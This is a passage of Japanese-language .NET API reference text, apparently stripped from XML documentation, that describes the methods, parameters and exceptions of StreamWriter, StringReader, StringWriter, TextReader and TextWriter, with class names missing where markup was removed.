非同期の読み取り操作を表すタスク。 パラメーターの値には、ストリームの次の行が含まれます。または、すべての文字が読み取られた場合は null です。 + 次の行の文字数が、 を超えています。 + ストリームは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + すべての文字の現在位置から末尾までを読み込みます。 + ストリームの現在位置から末尾までのストリームの残り部分 (文字列)。現在の位置がストリームの末尾である場合は、空の文字列 ("") が返されます。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + I/O エラーが発生しました。 + 1 + + + 現在位置からストリームの末尾まですべての文字を非同期的に読み取り、1 つの文字列として返します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、現在位置からストリームの末尾までの文字から成る文字列が含まれます。 + 文字数が を超えています。 + ストリームは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 文字を特定のエンコーディングでストリームに書き込むための を実装しています。この種類の .NET Framework ソース コードを参照して、次を参照してください。、参照ソースです。 + 1 + + + UTF-8 エンコーディングと既定のバッファー サイズを使用して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 書き込まれるストリーム。 + + が書き込み可能ではありません。 + + は null です。 + + + 指定したエンコーディングと既定のバッファー サイズを使用して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 書き込まれるストリーム。 + 使用する文字エンコーディング。 + + または が null です。 + + が書き込み可能ではありません。 + + + 指定したエンコーディングとバッファー サイズを使用して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 書き込まれるストリーム。 + 使用する文字エンコーディング。 + バイト単位のバッファー サイズ。 + + または が null です。 + + が負の値です。 + + が書き込み可能ではありません。 + + + 指定した円コーディングとバッファー サイズを使用して、指定したストリーム用の クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 書き込まれるストリーム。 + 使用する文字エンコーディング。 + バイト単位のバッファー サイズ。 + true to leave the stream open after the object is disposed; otherwise, false. + + または が null です。 + + が負の値です。 + + が書き込み可能ではありません。 + + + + が呼び出されるたびに、 によって基になるストリームに対するバッファーをフラッシュするかどうかを示す値を取得または設定します。 + + に強制的にバッファーをフラッシュさせる場合は true。それ以外の場合は false。 + 1 + + + バッキング ストアと連結する、基になるストリームを取得します。 + この StreamWriter が書き込むストリーム。 + 2 + + + + によって使用されているアンマネージ リソースを解放し、オプションでマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + 現在のエンコードは、Unicode サロゲート ペアの片方の表示をサポートしていません。 + + + 出力の書き込みに使用する を取得します。 + 現在のインスタンスのコンストラクターで指定した 。エンコーディングを指定しなかった場合は、。 + 2 + + + 現在のライターで使用したすべてのバッファーをクリアし、バッファー内のすべてのデータを基になるストリームに書き込みます。 + 現在のライターがクローズされています。 + I/O エラーが発生しました。 + 現在のエンコードは、Unicode サロゲート ペアの片方の表示をサポートしていません。 + 1 + + + このストリームのすべてのバッファーを非同期にクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 非同期のフラッシュ操作を表すタスク。 + ストリームは破棄されています。 + + + バッキング ストアを持たない書き込み専用の StreamWriter を提供します。 + 1 + + + ストリームに文字を書き込みます。 + ストリームに書き込む文字。 + I/O エラーが発生しました。 + + が true または バッファーがいっぱいで、現在のライターが閉じられています。 + + が true または バッファーがいっぱいで、 がストリームの末尾にあるため、基になる固定サイズのストリームにバッファーの内容を書き込むことができません。 + 1 + + + ストリームに文字配列を書き込みます。 + 書き込むデータを格納する文字配列。 が null の場合は、何も書き込まれません。 + I/O エラーが発生しました。 + + が true または バッファーがいっぱいで、現在のライターが閉じられています。 + + が true または バッファーがいっぱいで、 がストリームの末尾にあるため、基になる固定サイズのストリームにバッファーの内容を書き込むことができません。 + 1 + + + ストリームに文字配列の一部を書き込みます。 + 書き込むデータを格納する文字配列。 + データの読み取りを開始する、バッファー内の文字位置。 + 書き込む文字の最大数。 + + は null です。 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + I/O エラーが発生しました。 + + が true または バッファーがいっぱいで、現在のライターが閉じられています。 + + が true または バッファーがいっぱいで、 がストリームの末尾にあるため、基になる固定サイズのストリームにバッファーの内容を書き込むことができません。 + 1 + + + ストリームに文字列を書き込みます。 + ストリームに書き込む文字列。 が null の場合は、何も書き込まれません。 + + が true または バッファーがいっぱいで、現在のライターが閉じられています。 + + が true または バッファーがいっぱいで、 がストリームの末尾にあるため、基になる固定サイズのストリームにバッファーの内容を書き込むことができません。 + I/O エラーが発生しました。 + 1 + + + 文字を非同期でストリームに書き込みます。 + 非同期の書き込み操作を表すタスク。 + ストリームに書き込む文字。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列をストリームに非同期で書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込むデータを格納する文字配列。 + データの読み取りを開始する、バッファー内の文字位置。 + 書き込む文字の最大数。 + + は null です。 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 文字列をストリームに非同期で書き込みます。 + 非同期の書き込み操作を表すタスク。 + ストリームに書き込む文字列。 が null の場合は、何も書き込まれません。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 行終端記号をストリームに非同期で書き込みます。 + 非同期の書き込み操作を表すタスク。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 非同期でストリームに文字を書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + ストリームに書き込む文字。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列をストリームに非同期で書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元の文字配列。 + データの読み取りを開始する、バッファー内の文字位置。 + 書き込む文字の最大数。 + + は null です。 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 文字列を非同期でストリームに書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込む文字列。値が null の場合は、行終端記号だけが書き込まれます。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 文字列から読み取る を実装します。 + 2 + + + 指定した文字列から読み取る クラスの新しいインスタンスを初期化します。 + + を初期化する目的の文字列。 + + パラメーターが null です。 + + + + によって使用されているアンマネージ リソースを解放し、オプションでマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 読み取り可能な次の文字を返しますが、その文字は使用されません。 + 読み取り対象の次の文字を表す整数。使用できる文字がないか、ストリームがシークをサポートしていない場合は -1。 + 現在のリーダーが閉じています。 + 2 + + + 入力文字列から次の文字を読み取り、1 文字分だけ文字位置を進めます。 + 基になる文字列の次の文字。または使用できる文字がない場合は -1。 + 現在のリーダーが閉じています。 + 2 + + + 入力文字列から文字のブロックを読み取り、 だけ文字位置を進めます。 + バッファーに読み取られた合計文字数。要求しただけの文字数を読み取ることができなかった場合、この値は要求した文字数より小さくなります。基になる文字列の末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + バッファー内の開始インデックス。 + 読み取る文字の数。 + + は null なので、 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + 現在のリーダーが閉じています。 + 2 + + + 指定した最大文字数を現在の文字列から非同期的に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、文字列の末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに書き込む前に文字列の末尾に到達した場合、メソッドは制御を返します。 + + は null なので、 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + 文字列リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 指定した最大文字数を現在の文字列から非同期的に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、文字列の末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに書き込む前に文字列の末尾に到達した場合、メソッドは制御を返します。 + + は null なので、 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + 文字列リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 現在の文字列から 1 行分の文字を読み取り、そのデータを文字列として返します。 + 現在の文字列の次の行。文字列の末尾に到達した場合は null。 + 現在のリーダーが閉じています。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + 2 + + + 現在の文字列から非同期的に 1 行分の文字を読み取り、そのデータを文字列として返します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、文字列リーダーの次の行が含まれます。または、すべての文字が読み取られた場合は null です。 + 次の行の文字数が、 を超えています。 + 文字列リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 現在位置から文字列の末尾まですべての文字を読み取り、1 つの文字列として返します。 + 基になる文字列の現在位置から末尾までの内容。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + 現在のリーダーが閉じています。 + 2 + + + 現在位置から文字列の末尾まですべての文字を非同期的に読み取り、1 つの文字列として返します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、現在位置から文字列の末尾までの文字から成る文字列が含まれます。 + 文字数が を超えています。 + 文字列リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 文字列に情報を書き込む を実装します。情報は、基になる に格納されます。 + 2 + + + + クラスの新しいインスタンスを初期化します。 + + + 指定した書式コントロールで クラスの新しいインスタンスを初期化します。 + 書式を制御する オブジェクト。 + + + 指定した への書き込みを行う クラスの新しいインスタンスを初期化します。 + 書き込む StringBuilder。 + + は null なので、 + + + 指定した に書き込みを行い、指定した書式プロバイダーを持つ クラスの新しいインスタンスを初期化します。 + 書き込む StringBuilder。 + 書式を制御する オブジェクト。 + + は null なので、 + + + + によって使用されているアンマネージ リソースを解放し、オプションでマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 出力の書き込みに使用する を取得します。 + 出力の書き込み時に適用する Encoding。 + 1 + + + 現在のライターのすべてのバッファーを非同期にクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 非同期のフラッシュ操作を表すタスク。 + + + 基になる を返します。 + 基になる StringBuilder。 + 2 + + + 現在の StringWriter に書き込まれた文字を格納している文字列を返します。 + 現在の StringWriter に書き込まれた文字を格納している文字列。 + 2 + + + 文字列に文字を書き込みます。 + 書き込む文字。 + ライターが閉じられました。 + 2 + + + 文字配列の一部を文字列に書き込みます。 + データの書き込み元の文字配列。 + データの読み取りを開始する、バッファー内の位置。 + 書き込む文字の最大数。 + + は null なので、 + + または が負の値です。 + ( + )> 。Length. + ライターが閉じられました。 + 2 + + + 現在の文字列に文字列を書き込みます。 + 書き込む文字列。 + ライターが閉じられました。 + 2 + + + 文字列に文字を非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + 文字列に書き込む文字。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列を文字列に非同期で書き込みます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元の文字配列。 + データの読み取りを開始する、バッファー内の位置。 + 書き込む文字の最大数。 + + は null なので、 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 現在の文字列に文字列を非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込む文字列。 が null の場合は、何もテキスト ストリームに書き込みません。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 非同期で文字列に文字を書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + 文字列に書き込む文字。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列を文字列に非同期で書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元の文字配列。 + データの読み取りを開始する、バッファー内の位置。 + 書き込む文字の最大数。 + + は null なので、 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 現在の文字列に非同期で文字列を書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込む文字列。値が null の場合は、行終端記号だけが書き込まれます。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 一連の文字を読み取ることができるリーダーを表します。 + 2 + + + + クラスの新しいインスタンスを初期化します。 + + + この オブジェクトによって使用されているすべてのリソースを解放します。 + + + + で使用されているアンマネージ リソースを解放し、オプションでマネージ リソースを解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 読み取り対象のデータを TextReader に提供しません。 + 1 + + + リーダーや文字の読み取り元の状態を変更せずに、次の文字を読み取ります。リーダーから実際に文字を読み取らずに次の文字を返します。 + 読み取り対象の次の文字を表す整数。使用できる文字がないか、リーダーがシークをサポートしていない場合は -1。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + テキスト リーダーから次の文字を読み取り、1 文字分だけ文字位置を進めます。 + テキスト リーダーからの次の文字。それ以上読み取り可能な文字がない場合は -1。既定の実装では、-1 が返されます。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 指定した最大文字数を現在のリーダーから読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 読み取られた文字数。この数値は、リーダー内に使用できるデータがあるかどうかによって異なりますが、 以下の数値になります。読み取り対象の文字がない場合にこのメソッドを呼び出すと、0 (ゼロ) が返されます。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに読み取る前にリーダーの末尾に到達した場合、メソッドは制御を返します。 + + は null です。 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 指定した最大文字数を現在のテキスト リーダーから非同期に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、テキストの末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに読み取る前にテキストの末尾に到達した場合は、現在のメソッドが返ります。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + テキスト リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 指定した最大文字数を現在のテキスト リーダーから読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 読み取られた文字数。この数値は、すべての入力文字が読み取られたかどうかによって異なりますが、 以下の数値になります。 + このメソッドが戻るとき、指定した文字配列の から ( + -1) までの値が、現在のソースから読み取られた文字に置き換えられています。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。 + + は null です。 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + + が閉じています。 + I/O エラーが発生しました。 + 2 + + + 指定した最大文字数を現在のテキスト リーダーから非同期に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、テキストの末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに読み取る前にテキストの末尾に到達した場合は、現在のメソッドが返ります。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + テキスト リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + テキスト リーダーから 1 行分の文字を読み取り、そのデータを文字列として返します。 + リーダーの次の行。またはすべての文字が読み取られた場合は null。 + I/O エラーが発生しました。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + + が閉じています。 + 次の行の文字数が、 を超えています。 + 1 + + + 1 行分の文字を非同期的に読み取り、そのデータを文字列として返します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、テキスト リーダーの次の行が含まれます。または、すべての文字が読み取られた場合は null です。 + 次の行の文字数が、 を超えています。 + テキスト リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + テキスト リーダーの現在位置から末尾まですべての文字を読み取り、1 つの文字列として返します。 + テキスト リーダーの現在位置から末尾までのすべての文字を含む文字列。 + I/O エラーが発生しました。 + + が閉じています。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + 次の行の文字数が、 を超えています。 + 1 + + + テキスト リーダーの現在位置から末尾まですべての文字を非同期的に読み取り、1 つの文字列として返します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、現在位置からテキスト リーダーの末尾までの文字から成る文字列が含まれます。 + 文字数が を超えています。 + テキスト リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 一連の文字を書き込むことができるライターを表します。このクラスは抽象クラスです。 + 2 + + + + クラスの新しいインスタンスを初期化します。 + + + 指定した書式プロバイダーで クラスの新しいインスタンスを初期化します。 + 書式を制御する オブジェクト。 + + + この TextWriter で使用する改行文字を格納します。 + + + この オブジェクトによって使用されているすべてのリソースを解放します。 + + + + で使用されているアンマネージ リソースを解放し、オプションでマネージ リソースを解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 派生クラスによってオーバーライドされると、出力を書き込む文字エンコーディングを返します。 + 出力の書き込み時に適用する文字エンコーディング。 + 1 + + + 現在のライターのすべてのバッファーをクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 1 + + + 現在のライターのすべてのバッファーを非同期にクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 非同期のフラッシュ操作を表すタスク。 + テキスト ライターは破棄されます。 + ライターは現在、前の書き込み操作で使用中です。 + + + 書式を制御するオブジェクトを取得します。 + 特定のカルチャ設定の オブジェクト、または他のカルチャ設定が指定されていない場合は現在のカルチャ設定の書式。 + 2 + + + 現在の TextWriter で使用される行終端文字列を取得または設定します。 + 現在の TextWriter で使用する行終端文字列。 + 2 + + + バッキング ストアを持たない書き込み専用の TextWriter を提供します。 + 1 + + + Boolean 値のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む Boolean 値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字をテキスト文字列またはストリームに書き込みます。 + テキスト ストリームに書き込む文字。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字配列をテキスト文字列またはストリームに書き込みます。 + テキスト ストリームに書き込む文字配列。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字の部分配列をテキスト文字列またはストリームに書き込みます。 + データの書き込み元の文字配列。 + データの取得を開始する、バッファー内の文字位置。 + 書き込む文字数。 + バッファー長から を差し引いた値が より小さい値です。 + + パラメーターが null です。 + + または が負の値です。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 10 進値のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 10 進値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト浮動小数点値のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 8 バイト浮動小数点値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 4 バイト符号付き整数のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 4 バイト符号付き整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト符号付き整数のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 8 バイト符号付き整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + オブジェクトで ToString メソッドを呼び出して、そのオブジェクトのテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込むオブジェクト。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 4 バイト浮動小数点値のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 4 バイト浮動小数点値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字列をテキスト文字列またはストリームに書き込みます。 + 書き込む文字列。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをするオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 1) 以上です。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする最初のオブジェクト。 + 書式設定および書き込みをする 2 番目のオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 2) 以上です。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする最初のオブジェクト。 + 書式設定および書き込みをする 2 番目のオブジェクト。 + 書式設定および書き込みをする 3 番目のオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 3) 以上です。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする 0 個以上のオブジェクトを含むオブジェクト配列。 + + または が null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式項目のインデックスが 0 より小さいか、 配列の長さ以上です。 + 1 + + + 4 バイト符号なし整数のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 4 バイト符号なし整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト符号なし整数のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 8 バイト符号なし整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字をテキスト文字列またはストリームに非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + テキスト ストリームに書き込む文字。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字配列をテキスト文字列またはストリームに非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + テキスト ストリームに書き込む文字配列。 が null の場合は、何も書き込まれません。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列をテキスト文字列またはストリームに非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元の文字配列。 + データの取得を開始する、バッファー内の文字位置。 + 書き込む文字数。 + + は null です。 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字列をテキスト文字列またはストリームに非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込む文字列。 が null の場合は、何もテキスト ストリームに書き込みません。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 行終端記号をテキスト文字列またはストリームに書き込みます。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + Boolean 値のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む Boolean 値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + テキスト ストリームに書き込む文字。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字の配列をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + データの読み取り元の文字配列。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字の部分配列をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + データの読み取り元の文字配列。 + データの読み込みを開始する、 内の文字の位置。 + 書き込む文字の最大数。 + バッファー長から を差し引いた値が より小さい値です。 + + パラメーターが null です。 + + または が負の値です。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 10 進値のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 10 進値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト浮動小数点値のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 8 バイト浮動小数点値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 4 バイト符号付き整数のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 4 バイト符号付き整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト符号付き整数のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 8 バイト符号付き整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + オブジェクトで ToString メソッドを呼び出して、そのオブジェクトのテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込むオブジェクト。 が null の場合は、行終端記号だけを書き込みます。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 4 バイト浮動小数点値のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 4 バイト浮動小数点値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字列をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む文字列。 が null の場合は、行終端記号だけを書き込みます。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列と改行をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをするオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 1) 以上です。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列と改行をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする最初のオブジェクト。 + 書式設定および書き込みをする 2 番目のオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 2) 以上です。 + 1 + + + + と同じセマンティクスを使用して、書式設定された文字列と改行を書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする最初のオブジェクト。 + 書式設定および書き込みをする 2 番目のオブジェクト。 + 書式設定および書き込みをする 3 番目のオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 3) 以上です。 + 1 + + + + と同じセマンティクスを使用して、書式設定された文字列と改行を書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする 0 個以上のオブジェクトを含むオブジェクト配列。 + 文字列またはオブジェクトが null として渡されました。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式項目のインデックスが 0 より小さいか、 配列の長さ以上です。 + 1 + + + 4 バイト符号なし整数のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 4 バイト符号なし整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト符号なし整数のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 8 バイト符号なし整数。 + + 